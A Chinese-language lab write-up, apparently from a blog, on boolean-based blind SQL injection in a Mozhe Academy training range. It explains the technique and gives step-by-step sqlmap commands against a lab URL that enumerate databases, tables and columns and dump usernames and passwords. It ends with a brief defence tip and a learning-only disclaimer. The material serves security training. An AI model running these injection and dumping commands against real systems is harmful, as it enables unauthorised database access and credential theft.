墨者:SQL注入漏洞测试(布尔盲注)

墨者学院:SQL注入漏洞测试(布尔盲注)🚀

1. 什么是布尔盲注?🔍

布尔盲注(Boolean-based Blind SQL Injection)是SQL注入的一种形式,攻击者通过构造逻辑判断条件 (如AND 1=1OR 1=2),根据页面返回结果的差异(如内容变化、HTTP状态码)推断数据库信息。

作用:

  • 无显式错误回显时,通过布尔逻辑间接获取数据。
  • 适用于目标仅返回"真/假"两种状态的场景(例如登录验证)。

2. 工具:SQLMap🔧

SQLMap是一款自动化SQL注入工具,支持检测和利用多种注入类型(包括布尔盲注)。
核心功能

  • 自动识别注入点
  • 爆破数据库名、表名、字段名
  • 导出数据(如用户名密码)

3. 实验步骤(切换为自己的墨者靶场地址)🎯

步骤1:获取数据库名

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" --dbs --batch
参数说明:
参数 作用
-u 指定目标URL
--dbs 列出所有数据库名
--batch 自动选择默认选项(非交互模式)



步骤2:列出表名

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup --tables --batch
参数说明:
参数 作用
-D 指定目标数据库
--tables 列出该数据库的所有表



步骤3:获取字段名

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup -T member --columns --batch
参数说明:
参数 作用
-T 指定目标表
--columns 列出该表的所有字段



步骤4:导出数据

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup -T member -C name,password,status --dump --batch
参数说明:
参数 作用
-C 指定要导出的字段
--dump 导出数据到本地文件



步骤5:清除缓存

假如重新启动了靶场,端口会发生改变,往往需要清理缓存,不然password可能不会发生变化

bash 复制代码
python sqlmap.py --purge
参数说明:
参数 作用
--purge 删除所有扫描缓存文件

4. 参数汇总表⭐

参数 缩写 作用
--url -u 指定目标URL
--dbs - 列出所有数据库
--tables - 列出指定数据库的表
--columns - 列出指定表的字段
--dump - 导出数据
--batch - 自动模式(无需手动确认)
--purge - 清除缓存

5. 总结🏁

  1. 布尔盲注通过逻辑判断间接获取数据,适合无错误回显的场景。
  2. SQLMap可自动化完成从注入检测到数据导出的全流程。
  3. 关键参数:
    • -u:指定目标
    • -D/-T/-C:逐层定位数据
    • --dump:最终导出数据

防御建议:使用参数化查询+输入过滤,避免拼接SQL语句!


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
一匹电信狗5 小时前
【MySQL】数据库的相关操作
linux·运维·服务器·数据库·mysql·ubuntu·小程序
TDengine (老段)7 小时前
连接 TDengine 遇到报错 “failed to connect to server, reason: Connection refused” 怎么办?
大数据·数据库·物联网·时序数据库·iot·tdengine·涛思数据
李慕婉学姐8 小时前
Springboot黄河文化科普网站5q37v(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
Cabbage_acmer8 小时前
MySQL期中考试突击!
数据库·mysql
Lu Yao_8 小时前
Redis 缓存
数据库·redis·缓存
小桥流水人家哇9 小时前
性能测试单场景测试时,是设置并发读多个文件,还是设置不同的用户读不同的文件?
数据库·性能测试技巧
表示这么伤脑筋的题我不会9 小时前
Oracle 21C 部署ogg踩过的坑
数据库·oracle
你不是我我9 小时前
【Java 开发日记】MySQL 与 Redis 如何保证双写一致性?
数据库·redis·缓存
望获linux9 小时前
【实时Linux实战系列】实时 Linux 在边缘计算网关中的应用
java·linux·服务器·前端·数据库·操作系统
fredinators9 小时前
数据库专家
大数据·数据库